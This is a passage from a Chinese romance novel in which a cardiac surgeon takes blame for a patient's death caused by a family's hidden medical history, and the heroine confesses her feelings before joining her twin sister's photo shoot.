“你总算来了!”辛亦桐把早餐递过去,“快吃点东西,小心空肚子低血糖发作。” “你不是心脏疼过一次吗?医生说没事的。”云听接过早餐,拉开车门坐进副驾驶。 里面有一股浓烈的酒精味和男士香水味,酒精的辛辣气息混杂着香水的腥甜。 云听捂住鼻子,嫌弃地摇下车窗,“你昨晚干了什么?酒驾还是在车里…?” 辛亦桐无力地开口:“我昨晚喝醉了,喝得挺多的,后来找了个代驾回家。” 云听“哦”了一声,“你就是晚上没睡好吧?之前不是有过类似情况吗?” 辛亦桐发动车,嘴里念叨:“这次不一样,上次是闷,这次又闷又痛,说不定是心肌梗塞的前兆!” 辛亦桐与云听不同,云听是那种对医院能躲则躲的人,无论感冒发烧还是磕碰流血,都能硬扛过去。 相比之下,辛亦桐完全是另一个极端。 她是典型的“草木皆兵”性格。只要身体稍有不适,比如头晕、喉咙干,连皮肤上起了颗小红点,她都能脑补成重大疾病。 然后内心就会出现一场惊天动地的心理斗争。 不多时,她便打开手机搜索症状,越查越怕,最后手忙脚乱地预约医院门诊。 为此,辛亦桐家里有一套专属的小药箱,里头备着从常见感冒药到各种保健品。 不过,她的“危机意识”只在疾病方面生效。 她可以因为一次轻微的咳嗽奔波于医院,但转身又能在熬夜蹦迪的派对上“挥洒汗水。” 一到周五晚上,她就拎着高跟鞋踩在夜店舞池里,酒杯举得高高,笑声混在震耳欲聋的音乐里。 用最贵的护肤品,熬最晚的夜。 吃最贵的保健品,喝最烈的酒。 云听咬了一口三明治。 她对此很无奈,但也劝不动。 辛亦桐知道过度担心没意义,依然会在一个小问题上无限放大,最终将自己困在不必要的焦虑里。 云听思忖,或许她也该找个医生结婚。医生能真正约束她,能在她不断游走的边界上,给她设下坚固的界限。 如果辛亦桐执意不听,医生也能拿出一套无懈可击的健康理论,轻松将她说得哑口无言。 * 医院的门诊大厅照旧忙碌,诊室的门时开时闭,患者来来往往。 在这里,工作日的标签没有什 么意义,医院的繁忙从不会因此降低。 辛亦桐拉着云听直奔心脏科门诊,挂号、排队,动作一气呵成,明显是轻车熟路。 “别走远啊。”完事后,辛亦桐指着不远处的座位,“你在那等我,我去趟卫生间。” “好。”云听目视她捂着肚子,踏着**厘米的厚底鞋迅速消失在转角。 她收回视线,环顾四周,等候区人满为患,嘈杂无比,座位也所剩无几,便没有坐下。 云听掏出手机,漫无目的地翻开朋友圈,滑动屏幕。 她看到Kai发了一条朋友圈。 照片里的背景有些模糊,应该是在一个城市的街头,或是一个仓库门口。 镜头对准的是一个身穿外卖员衣服的年轻男子。他戴着口罩,云听一下子就认出了照片中的人,Elliot。 咦?他怎么去送外卖了? 难不成Elliot的家族真的断了他的资金来源?可无论如何也不至于让他落到如此境地吧? 估计只是想体验生活? 云听默默点了个赞。 刷着刷着,云听无意听见路过的几位护士的窃窃私语声。 她未刻意去留意,但那几句愤慨的话语,像锋利的针尖,一下刺穿她的注意力。 “听说1804病房又吵起来了……” “这些家属,出事就找医生,哪怕根本不是医生的错……” “真是过分,明明是他们知情不报,出了问题倒怪我们徐医生?” “是啊,家属还跑到主任办公室闹,说是医生态度不好,耽误治疗。” “唉,这种事情太常见了,明知道自己有错,偏要把责任全推到我们头上。” “主任好像还在安抚他们,真是难做人……” 声音逐渐远去,留下微弱的余音。 云听注意力偏离,听到护士讨论的内容,心里翻涌起不好的预感。 徐医生?难道是徐清聿吗? 云听正在思索,“哒哒哒”的脚步声音越来越近。 辛亦桐从走廊另一头快步走了回来。她一边低头整理裙摆,一边朝云听挥了挥手:“我回来了。” 见一时半会轮不到她,她拉起云听的手挤到第三排的中间,原本坐在那儿的一对夫妻刚走,恰好剩了两个位置。 辛亦桐一只手捂住胸口,感受心脏的跳动频率:“云云,你说我这心脏问题会不会是遗传?我小舅的心脏病就是拖到最后才发现的!” 云听侧过头看她:“你小舅是五十岁才查出来的吧?你才二十多。” 辛亦桐鼓嘴:“别小看小毛病!这些年心脏猝死的新闻还少吗?” 说罢,她瞪了一眼云听,“你就不担心自己吗?上次心脏疼的时候,我劝你来看,你说什么?拖着!拖着!” 云听:“我了解自己的身体,这话还是留给你自己听吧。” 辛亦桐撇嘴,百无聊赖地前后左右张望了一会儿,又开口问:“哎,来都来了,你就不顺便去看一下徐清聿吗?” 云听解释:“他这几天不在医院,去给下面的小医院做培训了。” “培训?”辛亦桐拖长语调,感叹了一声,“啧,不愧是优秀医生,还兼职育人,了不起了啊!” 云听不语,目光没有焦点, 她记得徐清聿说,他去参加一个为期三天的专业培训,结果这已经是第六天了,怎么还要去? 平常徐清聿都会和她一起吃早饭,但今天她睡醒时,发现徐清聿一大早就已经出门了。 没有任何预兆地离开了,一句告别都没有。 按理说,培训三天就该结束了,难道有什么特别的延误? 云听身边坐了一对母女,女儿躺在妈妈的怀里睡着了,妈妈一边抚摸女儿的头,哄她入睡,一边和身边的人闲聊。 “我女儿刚出生就被诊断为先天性心脏病。” “她现在已经三岁了,可我每天都活在担惊受怕中。她的一举一动都让我担心,我生怕她突然出现并发症…” “她太小了,心脏太脆弱,医生说她的情况很复杂,虽然现在还没有出现什么严重的症状,但我心里总是无法放下心弦。” 云听听到了一个词,法洛四联症。 她打开手机,搜索这个病。 法洛四联症一种常见的复杂先天性心脏畸形,通常涉及右心室肥厚、肺动脉狭窄、室间隔缺损以及主动脉骑跨。 这种病症导致血液流动不畅,氧气输送到全身的能力受限,身体无法获取足够的氧气,从而出现了呼吸困难的症状。 由于心脏无法有效泵送含氧血液,肺部也无法得到充分的氧气供应,导致频繁表现出缺氧的状态。 不过,法洛四联症是可以通过手术治疗的,且许多患有该病的儿童在接受治疗后能够过上正常的生活。 云听不太懂这些专业术语,但小女孩能够接受治疗,已经是不幸中的万幸。 云听突然心生一念,想起了之前和徐清聿的一次对话。 那时,她问他什么是希望,徐清聿的回答是:“空气。” 无形的、无色的、无味的,却又是每个人活下去的必需品。 现在,云听再一次想起这句话,觉得它无比贴切。对小女孩来说,活着的希望,或许真的就是空气——真正意义上的空气。 她出生时呼吸困难,靠着医学手段才能勉强维持生命。每一次呼吸,都是与命运的一场拉锯战。 她的母亲每天都在数着她的心跳和呼吸,害怕有一天它会变得不规律,甚至停止。 云听思绪飘远,问正在打字的辛亦桐:“你觉得,希望是什么?” 辛亦桐歪头想了想,片刻后,她缓缓说道: “我现在在医院,当然觉得希望是治病救人的白衣天使。医生每天都在和死神抢人,他们的手术刀、药物、经验,都是希望的延续。” “但如果我是在教室育人呢,那希望就是祖国的花朵,是孩子们写下的未来。” 她的回答比云听想象的更加具象化。 希望可以是医生手里的手术刀,可以是讲台上的粉笔,可以是工人手里的砖瓦,可以是母亲怀里酣睡的婴孩,抑或是抱着婴儿的母亲。 灵感在云听脑中一晃而过。 不是佛手柑、葡萄柚、柠檬、梨花、苹果花、无花果之类的香料。 而是四个字:剑走偏锋。 头顶前方的电子显示屏“滴”的一声,数字跳动一格,辛亦桐的号出现在屏幕上。 “到我了,走吧。” 辛亦桐站起身,云听紧跟其后。 “你们先坐,”进去后,里面只有一位护士,她对两人说:“夏医生去卫生间了,稍等一会儿。” 闻言,辛亦桐坐在椅子上,靠背一靠。 很快,一位年纪稍长的男医生走了进来。 医生戴着眼镜,白大褂边角有点儿泛黄,看起来经验丰富的老手,他坐下后,询问情况。 “心脏疼?多长时间了?做了什么?”他抬起头问道。 “昨晚喝酒熬夜一整晚没怎么睡,早上起来就不舒服……” “不舒服?”医生语气严厉,“你是不是不知道喝酒加熬夜的危害?年轻人啊,别拿命开玩笑!心脏是不会跟你商量的,你让它受累,它就随时可能罢工!” 辛亦桐一愣,讪讪地笑:“医生,我以后一定注意……” “注意才怪,”医生打断她,“你们年轻人每次都说‘一定注意’,然后转头继续熬夜。告诉你,不仅是心脏,免疫系统、神经系统都受影响。能不能睡觉?睡觉有那么难吗?” 辛亦桐有些尴尬,低声辩解:“最近工作忙嘛,忙着应酬…” “忙 ?!“医生抬眼,“没了命,还有什么好忙的?回去给我好好睡觉,晚上十一点之前必须躺下!再这样熬下去,早晚有一天进ICU!” 辛亦桐哑口无言,被骂得频频点头,不敢反驳一句:“嗯嗯,知道了。” “知道了就快做。”医生挥挥手,“走吧,先去做检查,外面排队的还有一长串。” 离开诊室后,辛亦桐抿了抿唇,忍不住对云听吐槽:“你看吧,医院这种地方就是这样,把人骂得跟三岁小孩似的。” “这医生,像我爷爷。” 云听道:“骂是为了让你改正。” “你倒是懂。”辛亦桐不服气地嘟囔,“医生总觉得熬夜是年轻人的罪过。你别说我,你心脏疼的时候怎么不来看?” “……” 云听低头看手中的单子,不想与她争辩,换了个话题:“走吧,先去检查。” 辛亦桐追问道:“云云,上次徐清聿骂你了吗?” 云听:“……没骂。” 检查完,取完报告,两人恰好经过护士站,几个年轻的护士正在交班前的空隙聊天。 “徐医生这次真是倒霉透了。” “可不是,明明是家属自己弄出的事,非要怪他没处理好。现在倒好,闹到院里,连院长都不得不出面调解。” “是啊,院长让他先去支援别的医院,说是避避风头。” “唉,真不明白,为什么责任全落在他头上?” 几个护士声音不大,但还是清晰无误地传进云听耳中。 她脚步一顿,转头看辛亦桐。 “怎么了?”辛亦桐疑惑。 “她们说的徐医生‘……”云听说,“好像是徐清聿。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 40-50 第41章 第四十一章 “你不想再坚持了,是吗?…… 空气充斥着消毒水的味道, 监护仪的滴答声夹杂着病人微弱的喘息,推车滚轮与地板摩擦的声音在走廊回荡。 “徐医生!急诊!” 值班护士急匆匆地推开门。 徐清聿站起身,抓起听诊器, 快步走向抢救室。 病床上躺着一位六十多岁的老年男性,双手紧紧抓着胸口,面色苍白,冷汗浸透了衣服。 “患者男性, 65岁,突发剧烈胸痛半小时,呈撕裂样,疼痛向背部放射。”护士一边测量生命体征,一边快速汇报。 徐清聿伸手搭上患者的桡动脉, 脉搏微弱而快。 他将听诊器贴在患者胸前,皱了皱眉。 主动脉瓣区听诊可闻舒张期杂音。 “立刻做CTA,通知手术室备台。”徐清聿迅速下达医嘱,眼神凝重,“怀疑Stanford A型主动脉夹层。” 这时, 一个穿着褪色碎花裤子的中年女人慌慌张张地跑了进来,脚上的运动鞋沾满泥渍。“爸!爸你怎么样?” 她扑到病床前,粗糙的手掌上布满老茧。 “您是家属?”徐清聿看了她一眼。 “我是…他女儿。” “请问患者是否有结缔组织疾病,或者马凡综合征病史?”徐清聿一边开单, 一边继续询问。 女人愣了一下,随即摇头, 强撑仅有的理智:“没有,我爸身体一直很好,就是有点高血压……” 徐清聿的笔尖顿了一下。 患者身材瘦高,四肢修长, 指间距明显大于身高,这是典型的马凡综合征体型表现。 可家属信誓旦旦承认不是。 或许只是巧合。 CTA结果很快出来了——确诊为Stanford A型主动脉夹层,且夹层已累及主动脉根部。 情况危急,必须手术。 主刀医生陈主任很快赶到,他扫了一眼影像资料,神色凝重:“准备Bentall手术,通知体外循环组。” 徐清聿提醒:“主任,家属否认马凡病史,但我怀疑……” “先救命。”陈主任打断他,“你去和家属谈手术风险。” 谈话室里,徐清聿将手术同意书推到张女士面前:“您父亲病情严重,手术风险极高,可能出现大出血、脑梗、肾衰竭等并发症,甚至……” “医生,一定要救救我爸!”听到一系列恐怖的疾病,女人没听完,抓住徐清聿的白大褂,“但是手术要多少钱?” “先救命要紧。”徐清聿避开具体数字,“医保可以报销一部分。”女人的脸色更加苍白:“那那要是治不好” “我们会尽力。”徐清聿又问,“请您再确认一遍,您父亲真的没有马凡综合征病史?” 女人的手指发抖,仍是摇头:“没有。” …… 无影灯下,时间流逝缓慢。 徐清聿站在陈主任身旁,注视被打开的胸腔, 主动脉根部扩张严重,动脉壁薄如纸张,直径远超正常范围,这绝不是急性夹层短时间内能发展到的程度。 陈主任的眉头紧锁,他尝试固定人工血管,但脆弱的主动脉壁突然破裂,鲜血瞬间喷涌而出。 “快!压迫止血!” “加快体外循环流量!” 徐清聿迅速配合止血,可面对已经不可逆的血管损害,一切都是徒劳挣扎。 手术持续了两个小时,最终,监护仪上呈现出一条直线。 病人,死亡。 手术室外,女人见他们出来,立刻冲上前,声音尖锐:“医生,我爸怎么样?” 陈主任沉默片刻,摘下口罩:“很抱歉,我们尽力了。” 女人声嘶力竭:“你们不是说能救他吗?” 徐清聿等她冷静些许,问:“术中发现患者的主动脉根部病变已有多年病史,这种病变通常见于马凡综合征……您确定他没有这个病史?” 女人的脸色刹那间煞白,“你是在说……是我害了我爸?” “我只是想确认情况。” “够了!”女人猛地后退一步,指着徐清聿怒吼,眼神绝望,“你们就是不想担责任!我要告你们!” 徐清聿没有躲避她的视线。 女人隐瞒了病史,医院的风控团队和律师团足以应对这样的指控。只要调出患者的既往病历,或者做基因检测,一切都能水落石出。 到那时,责任不在医院,也不在医生,而是在她身上。 她会被告知,她的隐瞒直接导致了手术的失败,她会面临赔偿,被道德舆论推上风口浪尖。 她会被人指责、谴责,被亲戚朋友质问,甚至可能活在自责的阴影中……更可怕的是,她会把父亲的死归咎于自己。 如果一切压力落在这个女人身上,徐清聿不知道她会做出什么。 一个在深夜崩溃的女人,会不会在某一天,走上医院天台? 徐清聿闭了闭眼,胸口沉闷。 他不是圣人,但他见过太多因绝望而走上极端的患者家属。当一个人陷入深渊时,他们不会在乎真相,他们只想要一个发泄的出口。 事后,医院的风控团队在调查过程中发现,患者家属的确隐瞒了关键病史,如果医院事先知晓患者情况,术前的麻醉方案、术中管理都会调整,可能避免这一悲剧的发生。 这摆明,手术失败的直接原因不在医生,而在于患者家属的隐瞒。 就在医院准备启动法律程序,证明医生团队无过错时,徐清聿率先找到医院领导,承认是自己的术前评估考虑不周,导致手术失败。 “这次手术,是我的责任。我术前评估不够充分,我没有看出家属的不对劲,家属明显在说谎。” 徐清聿的主动承担,让医院管理层措手不及,陈主任第一时间找到他,语气罕见地严厉:“你知不知道你在做什么?” “我知道。” 陈主任一向对徐清聿赞赏有加,他能隐约察觉到他心中的挣扎,“清聿,你不会不知道,即便你承认了,又能如何呢?医院的决策不会因为你的一句话而改变。” “我知道。” * 云听因为工作的耽搁,回到家时,徐清聿已经在了。 他坐在沙发上,专注地翻阅一本医学类的书籍。 云听沉默地看着徐清聿,脑海里一幕幕画面飞快闪过。 一切都有迹可循。 这几天他看起来很疲惫。 不只是身体上的,而是一种深藏的、无法忽视的倦怠感。 云听曾以为是工作太忙,手术压力大,毕竟他在心脏科,每天面对的是生死之间的较量,加上又要给其他医院培 训,累也是正常的。 那天晚饭后,徐深凛也很严肃将徐清聿叫去书房。 当时,云听简单认为是他们在家里太过亲密,不符合长辈对家族形象的要求。徐家家风一向严谨,徐深凛从医多年,向来不苟言笑,连孟妍都接受不了的事,更何况他。 现在看来,事实并非如此。 那个晚上,徐父到底对他说了什么? 云听记得徐清聿从书房出来后,脸色沉静如水,看不出情绪波动,所以她并未在意。 而现在想来,他那晚的沉默,分明是在压抑。 徐清聿为什么一直不说?为什么不告诉她? 如果不是今天在医院听到护士的谈话,她还被蒙在鼓里,以为他只是暂时离开,而不是主动承认了一个不属于他的错误。 想到这里,云听走过去,在徐清聿身边坐下,盯着他看了片刻,开口:“今天我去医院了。” 徐清聿指尖顿了顿,接着翻到下一页,没有抬头,“嗯。” 云听没有绕弯子,直截了当地说:“我听到了护士们的谈话。” 徐清聿终于抬头,目光平静。 不惊讶,不否认。 云听吸了口气,问:“到底发生了什么?” 徐清聿合上书,用最简短的话解释:“急诊患者,术前家属隐瞒了病史,手术后出现并发症,最终抢救无效。” “然后呢?” “家属不接受结果,向医院投诉。” “所以呢?”云听盯着他,声音发紧,“医院的风控团队调查过了吧?既然不是你的问题,这件事不可能解决不了。” 徐清聿没有回答,只是看着她,眼神镇定得让云听发慌。 云听继续道:“更何况,爸爸也不会眼睁睁让这件事发生。” 徐深凛是这家医院的高层,虽然不会直接插手,但在这种情况下,如果徐清聿真的是被冤枉的,医院绝不会任由他承担责任。 况且徐清聿并不是这场意外的主刀医生。 唯一的可能—— “是你故意的。”云听看着他,说出自己的猜测。 徐清聿沉默了一会儿,淡淡地笑了笑:“你想太多了。” “真的只是我想太多?”云听的声音低下来,眼神变得更加犀利,“徐清聿,如果你真的想澄清,医院有专业的公关团队,院方也不会放任舆论不管。你是主动认下这个责任的,对不对?” 徐清聿没有否认。 “为什么?”云听不解,“为什么故意让自己背黑锅?” “如果我不背,她怎么办?”徐清聿开口,“她已经承受了足够的痛苦,如果她不小心被曝,面对的将不仅仅是医疗费、误工费的赔偿,还有她心理这一关。” 云听眼神一闪,心情复杂,陷入短暂的失语, 她知道徐清聿是一个责任心极强的人,Kai形容徐清聿,也是“走在责任前端”。 但她没想到,他竟然会为了一个陌生的女人,选择如此。 哪里不对,云听说不上来。 不会那么简单。 等徐清聿起身离开时,云听叫住了他,这一刻她的思绪很清晰,语气有一丝愤怒和无法掩饰的失望:“徐清聿,你不是为了那个女人。” 徐清聿停下脚步,不置可否。 云听走到他面前,眸色黯然,“我问你,你这么做,爸爸不反对吗?” “嗯。” “你是为了自己,”听到徐清聿的回答,云听更加确定自己心中所想,“你不想再坚持了,是吗?” 她第一次用质问的语气和徐清聿讲话,步步靠近,步步紧逼,“你已经没有当初热衷的心情,没有继续为每个患者全力以赴的动力了。你想放弃了,是吗?” 徐清聿脸色一白。 “云听,你很了解我吗?”良久,他冷冷地问道。 云听想从徐清聿的语气里揣测出些什么,可是他冷漠与平淡交织的口吻,让她分辨不清。 徐清聿究竟是随口一问,单纯地想知道她对他的了解?还是意有所指,暗示她少管闲事? 可就算是第二种,云听还是想管。 “不算了解。”她失落地摇了摇头,“但我知道你很好。” “很好?”徐清聿反问,“就像你说的,我不关心她会遭遇什么,什么赔偿,什么舆论,我根本不在乎,这件事只是个导火索而已。” 第42章 第四十二章 “因为我喜欢你”…… 徐清聿从口袋里取出精致的香烟盒, 一只手摩挲盒子的边缘,另一只手打开了盒盖。 盒内的香烟所剩无几,白色的纸包裹微金色的烟草, 这是他习惯抽的品牌,一种小众却品质上乘的烟草。 徐清聿捏住烟身,将烟抵在唇间,拿起打火机, “咔嚓”一声,火苗蹿起,映照出他冷静的眉眼。 香烟的头部升腾起白色的微烟,烟雾从他的唇间吐出,细细的烟雾在空中弯曲飘散。 几乎不带任何刺激的气味。 这种烟味, 比起廉价烟草的刺鼻气息,更像是成熟的木材燃烧时散发出的温暖气息,还有一点儿薄荷的香味。 徐清聿微垂着眼,睫毛投下暗影,他的眼睛被遮挡在阴影中, 看不清深处的情绪。 就在他准备再次将烟递到唇边时,突然感到手腕一紧,手中的香烟迅速被云听拿走。 徐清聿一愣,手指还保持着夹烟的姿势, 眼中划过意外。 云听将烟拿在手中,低头看了看, 烟头的火光在微弱地闪烁,烟雾从她的指尖升起。 她没有立刻掐灭它,而是举到徐清聿眼前,晃了晃, “徐清聿,你不需要用烟来逃避,你本来就有能力面对这一切。” 徐清聿脸上并没有表现出太多情绪,见烟被拿走,他把手插进裤兜,若有所思,“你说得对,我确实抽得有点多了。” 他的反应与云听设想的有所出入,也有转移话题的嫌疑,但不管怎么样,云听都不会放弃劝他。 “徐清聿,你高中熬夜复习解剖学,大学时在实验室里一站就是几个小时,毕业后在医院拼命工作……你为医学付出了那么多,你怎么可能真的说放弃就放弃?” 徐清聿的事,有的是听长辈聊天,有的是她亲眼所见。 哪怕云听在心里一遍遍告诫自己,不要去关注徐清聿,但感情不可控。每当回过神来时,她意识到她又一次违背了自己的承诺,为一个不属于自己的人动心。 回国后,徐清聿进入心脏外科,一点点积累经验,一点点往上爬。 他比任何人都努力。 手术后,他会回到办公室,一遍遍翻阅手术记录,分析自己是否有改进的空间。 夜班时,他会查阅病人的病历,确保没有遗漏任何一个细节。 他比任何人都有责任感。 云听曾听见邢时漫心疼地说过,他在凌晨三点,坐在急诊室外的长椅上,整个人被手术服包裹,眼里布满血丝,但坚持等着患者术后的第一份检测报告。 她知道,这就是徐清聿,把医学当成信仰的人。 可是现在,那个曾经一腔热血的人,却选择主动揽下责任,放弃他所热爱的事业。 他亲手推开了自己的梦想。 云听的心里像压了一块大石,沉闷得让她喘不过气。 她注视眼前的徐清聿,以前可以为医学拼尽全力的人,如今冷静得像个旁观者,甚至说出:“我不关心她会遭遇什么,什么赔偿,什么舆论,我根本不在乎。” 云听喉咙发紧,声音哽咽:“徐清聿,你不是这样的。” 她没有等他的回应,自顾自说道:“所有人都说你冷静,可是徐清聿,你知道吗?一个人真正的冷静,是在做决定时权衡利弊,而不是借着冷静的外壳,掩盖自己不愿面对的事实。” 徐清聿的瞳孔收缩了一下:“你觉得,我是在逃避?” 云听点了点头,没有犹豫:“是。” 云听和徐清聿理性居多,两人的性格注定了即使有矛盾,也不会 歇斯底里地争吵。 现在的情况,更像是意见分歧,在正常地、心平气和地交流。 良久,徐清聿叹了一口气,无奈开口:“云听,有时候我觉得很奇怪,我不知道你为什么会这么了解我的想法。” 云听凝视他,心口堵得慌,情绪翻涌至极点,她倏地笑了一下,眼眶泛红:“因为我喜欢你。” 闻言,徐清聿身体一僵。 他下意识地后退了一步,身体的动作比思维要快。 他从未想过,自己会从云听口中听到: “我喜欢你。” 他的大脑停滞了,周围的一切声音变得很模糊。只有云听的声音,清晰得震耳欲聋,震得他的大脑嗡嗡作响。 长久的沉默让气氛凝固。 “从小到大,我的眼里只有你。” 云听眼底透着隐忍已久的情绪,她说的每一个字都在心里排练了千遍万遍。 只是没想到,她会在错误的时间和场合,把一颗深藏的炸弹丢进了他们脆弱的空间里。 爆炸的声音就在她耳边回响。 这不是她理想中的时机,但后悔也于事无补。 “我从来没有怀疑过你对医学的热爱。在我眼里,你很好。” 徐清聿站在原地,心跳很快,快到让他不适应,仿佛有什么东西正在一点点侵入他的理智。 他应该说些什么? 他不知道。 他从未想过云听喜欢他。 半晌后,徐清聿只是淡淡地开口:“你…确定吗?” 这四个字,是他从一片迷雾中挣扎出来的第一句话。 又像是在给云听一个机会,让她收回这句话。 云听没有退缩,坦然道;“我说,我喜欢你,我的眼里只有你。” 徐清聿沉默不语。 云听说,她的眼里只有他,她看到的全是他的好。 ——可他真的有那么好吗? 徐清聿生出一种从未有过的荒谬感。 他知道自己是个什么样的人。 外人眼中,他冷静自持、严谨克制,甚至有些严苛。 在工作上,他是医生,理智得近乎冷血。 在生活中,他是不近人情的徐家大公子,习惯一个人独处,习惯将情绪收敛到最深处。 可那些都是别人眼中的“徐清聿”,真正的他呢?那些隐藏在光鲜外表之下的阴暗和疲惫呢? 他的人生被责任堆砌,连情绪都被压抑得克制又薄凉。 云听喜欢的,真的是他吗? 还是说,她只是喜欢自己想象中的“徐清聿”? 因为云听喜欢他,所以她看到的,永远是他好的一面,会主动忽略他的不好,不去看他疲惫、不去看他冷漠、不去看他心底那些不愿示人的黑暗。 可要是有一天,她发现了真实的他并不是自己想象中的样子,她还会喜欢吗? 他该告诉云听吗? 该告诉她,自己并不像她想象中那么坚定,不像她以为的那样无所不能,也不像她眼中的那样值得喜欢? 徐清聿张了张嘴,却什么都说不出口。 他说不出来,也不敢说。 他不确定自己喜不喜欢云听。 可他清楚地知道,他不想失去她。 如果她发现真实的自己,是否还会留在他身边? 他之前就和云听说过,他不希望云听了解他之后远离他。 云听说不会。 真的不会吗? 他从未这样害怕过一个答案。 Zephyr静静地趴在客厅的一个小角落里,湛蓝的眼睛透过窗帘的缝隙注视着眼前的一幕。 整个空间都充斥着一种让它敏锐的感官感到不安的气氛。它的耳朵动了动,警觉地感受到了什么不对劲的东西。 它并未像平时悠闲地走到他们身边撒娇,而是安静地窝在阴影中,保持着一动不动的姿态。 云听已经不紧张了。 她感到一股前所未有的轻松,她不用再像以前躲闪,不用掩盖自己内心深处的真实情感。 曾经,无数次,她想过如果有一天能够把这份感情说出来,她会是怎样的心情。 是紧张,是害怕,还是期待? 可是此刻,她只剩平静。 她不需要等徐清聿的任何反应。 她早已放下了所有的顾虑,也不害怕他会做出什么让她不知所措的回应。 她说出来,只是因为她真的想说。 无声了十分钟。 徐清聿的声音低沉,藏着疲惫和冷静交织的情绪,他望着云听,目光深沉,“可是云听,就算你再了解我,这是我的决定。” 说完,他停顿了一瞬,让自己的话听起来更有分量,“就算是你,也不能改变我的决定。” 徐清聿刻意不去看云听的眼神,直接避开了她的告白。 说完,他转过身,走了两步又停下,在云听看不到的视角,他紧紧闭上眼睛,呼吸沉重,“云听,给我一点时间。” * 云听蜷缩在沙发一角,身上裹着云闻的羊绒毯。茶几上的热可可已经凉了,表面结了一层薄薄的膜。 这两天,云听一直待在云闻这儿,没有主动联系徐清聿。 手机也一直安静,没有来电,没有消息。 云闻从卧室走出来,今天她穿着一件驼色的高领毛衣,下身是黑色羊毛阔腿裤,脚上是一双绒毛拖鞋,整个人看上去温柔又慵懒。 她在云听身边坐下,手指拨开云听额前的碎发。 “听宝,今天想吃什么?” 云听摇了摇头,将脸埋进毯子里,声音闷闷的:“都行。” 云闻眼底的笑意浅了些,她拿起手机,纤细的手指在屏幕上轻点。 这两天,她们彻底放飞了自我,无所顾忌地狂点外卖。 从热气腾腾的火锅到精致的日式便当,从暖胃的姜茶到香甜的栗子蛋糕。 她们俩像是回到了小时候,偷偷摸摸地分享零食的时光,只不过这次,她们不再需要躲躲藏藏。 云闻知道云听需要时间,而她能做的,就是用美食填满这段难熬的时光。 外卖很快送到,是韩式参鸡汤和紫菜包饭。温热的汤雾氤氲而上,混合熬煮后的药材清香。 云闻细心地盛了一碗汤,推到云听面前,“趁热喝。” 云听捧着汤碗,掌心被温暖填满,她低头吹了吹热气,轻声问道:“姐,你明天不是要拍摄吗?吃这么多不怕水肿?” 云闻舀了一勺汤,优雅地吹了吹,“不会,我白天没吃饭。” 她想了下,“明天要不要跟我去拍摄现场?总比在家闷着好。” “可我还有工作。” 云闻撇嘴,“你的工作哪有特定的时间,况且,以前双休你还在一个劲地无偿加班呢。你师傅不是说了这几天准备比赛就行,万一到拍摄现场你就有灵感了呢。” 云听已经很久没有去现场看云闻拍摄了,思及此,她应下,“可以。” 第二天清晨,云闻早早地起床,她站在落地窗前伸展了一下手臂,转身看向窝在被子里的云听。 她裹着被子睡得安稳,睫毛微微颤动,像一只慵懒的猫。 云闻过去,将云听从温暖的被窝里拽了起来。 吃完早餐后,云听迷迷糊糊地跟着云闻上了保姆车,车里还坐着助理Aria和化妆师Lisa。 看到云听的第一眼,助理Aria的眼睛瞪得溜圆,低声惊呼:“天哪,原来Chloe是双胞胎?” 化妆师Lisa迟疑地看了看云闻,又看了看云听,努力寻找两人的不同之处。 云闻唇角上扬,眼里浮现出熟悉的戏谑光芒。 她指着云听:“其实她才是Chloe。” 化妆师Lisa连连道歉,“不好意思,我认错人了,你们长得也太像了吧。” Aria捂嘴偷笑,“Li,Chloe可是同卵双胎宝,当然长一模一样了,你信不信,我一看就知道左边的是Chloe。” 云听弯唇,“猜错了哦,Chloe和你们开玩笑呢。” 小时候,云闻最喜欢的游戏,就是让别人猜——谁是姐姐, 谁是妹妹。 她们那会儿还是两个扎着同样丸子头的小女孩,站在亲朋好友面前,歪着头,露出一模一样的笑容。 “你们猜,谁是姐姐?”云闻总是抢先开口,语气里有一点小小的得意。 大人们往往会愣住,仔细端详她们的脸,一遍遍地对比,一会儿看云闻,一会儿看云听,皱着眉头思索。 “呃……是你?”有人指向云闻。 云闻立刻摇头,睫毛颤了颤,笑得狡黠:“错啦。” 那是你?“对方又看向云听。 云听这时才会抿着嘴,轻轻地笑,目光落在云闻身上,等着她来揭晓答案。 云闻总是故意卖关子,等到对方完全猜不出来,也不肯揭晓答案,她会在云听的耳边笑着低语:“听宝,我们转个身,换一个站位,看他们能不能再猜出来。” 于是,她们就会交换位置,再一次站好,依旧是同样的笑容、同样的神态,看着大人们露出更加困惑的表情。 “你们……是不是在骗我?”大人们无可奈何。 云闻则是大大方方地摊手:“没有呀,我们本来就长一样呀。” “那到底谁是姐姐?”有人忍不住问。 云闻笑眯眯地看向云听,歪着脑袋,等云听自己说出来。 云听只是安静地看着她,眼神里带着点无声的依赖和纵容。 最终,还是云闻自己得意地挺起小小的胸膛,骄傲地宣布:“是我哦,我是姐姐。” 没想到长大后的云闻,还喜欢玩。 被戏耍的Aria:“……” 这回轮到Lisa捂嘴偷笑。 今天云闻要拍摄一组深冬新品的宣传照,地点在郊区的滑雪场。 车子驶向滑雪场,晨雾未散,远处的山峦隐匿在一片朦胧之中,偶尔会有零星的雪花飘落。 “今天要在户外拍一上午。”云闻一边让Lisa给她化妆,一边对云听说,“你先在休息区待着,要是冷了就让Aria给你个热水袋。” 云听点点头,看着镜子里的云闻。 化妆刷在她脸上扫过,原本就精致的五官更加立体动人。她闭着眼睛,长长的睫毛在眼下投下一片阴影,像个精致的瓷娃娃。 到了拍摄现场,云听被眼前的景象震撼到了。 皑皑白雪覆盖着整个山坡,阳光透过云层洒下来,折射出晶莹的光芒。 工作人员正在忙碌地布置设备,反光板、遮光板、各种专业器材在雪地上投下长长的影子。 云听跟着云闻下了车,才刚站到休息区,就感觉到四周一道道探究的目光。 她皱眉,本能地低头理了理自己的围巾。 可当她抬起头时,发现不止一两个人在偷偷看她,而是整个拍摄团队的人——摄影师、灯光师、助理、服装师,甚至连负责场务的小工都在悄悄打量她。 “……?”云听有些困惑。 她扭头看向云闻,发现对方神情自若,没有察觉到众人的异样目光。她随手接过助理Aria递来的保温杯,抿了一口,接着去更衣室。 云听下车后,则去了休息区的帐篷。 休息区不明真相的工作人员在叽里咕噜闲谈: “……怎么回事?Chloe不是刚进化妆间吗?怎么又跑出来了?” “是啊,而且她什么时候换了衣服?” “你们不觉得……她好像和刚刚的Chloe不太一样?五官是一样的,可是气质……” 云听只听到了几个字,一头雾水,直到一个摄影助理壮着胆子走上前,小心翼翼地问:“Chloe,你怎么又回来了?导演不是让你先去换造型吗?” 